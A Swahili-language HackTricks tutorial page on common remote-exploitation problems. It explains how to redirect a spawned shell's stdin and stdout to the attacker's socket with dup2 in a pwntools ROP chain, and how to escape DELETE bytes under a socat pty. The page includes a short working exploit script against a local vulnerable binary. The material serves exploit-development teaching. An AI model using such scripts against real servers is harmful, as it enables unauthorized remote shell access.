1.7 KiB
Matatizo ya Kawaida ya Kutumia
{{#include ../banners/hacktricks-training.md}}
FDs katika Utekelezaji wa Mbali
Wakati wa kutuma exploit kwa seva ya mbali inayopiga system('/bin/sh') kwa mfano, hii itatekelezwa katika mchakato wa seva, na /bin/sh itatarajia pembejeo kutoka stdin (FD: 0) na itachapisha matokeo katika stdout na stderr (FDs 1 na 2). Hivyo, mshambuliaji hataweza kuingiliana na shell.
Njia moja ya kutatua hili ni kudhani kwamba wakati seva ilianza iliumba FD nambari 3 (kwa kusikiliza) na kwamba kisha, muunganisho wako utaenda kuwa katika FD nambari 4. Hivyo, inawezekana kutumia syscall dup2 kuiga stdin (FD 0) na stdout (FD 1) katika FD 4 (ya muunganisho wa mshambuliaji) ili kufanya iwezekane kuwasiliana na shell mara itakapotekelezwa.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Kumbuka kwamba socat tayari inahamisha stdin na stdout kwa socket. Hata hivyo, hali ya pty inasababisha kuondolewa kwa wahusika. Hivyo, ikiwa utatuma \x7f ( DELETE -) it itaondoa wahusika wa awali wa exploit yako.
Ili kupita hili, mhusika wa kukimbia \x16 lazima aongezwe kabla ya yoyote \x7f inayotumwa.
Hapa unaweza kupata mfano wa tabia hii.
{{#include ../banners/hacktricks-training.md}}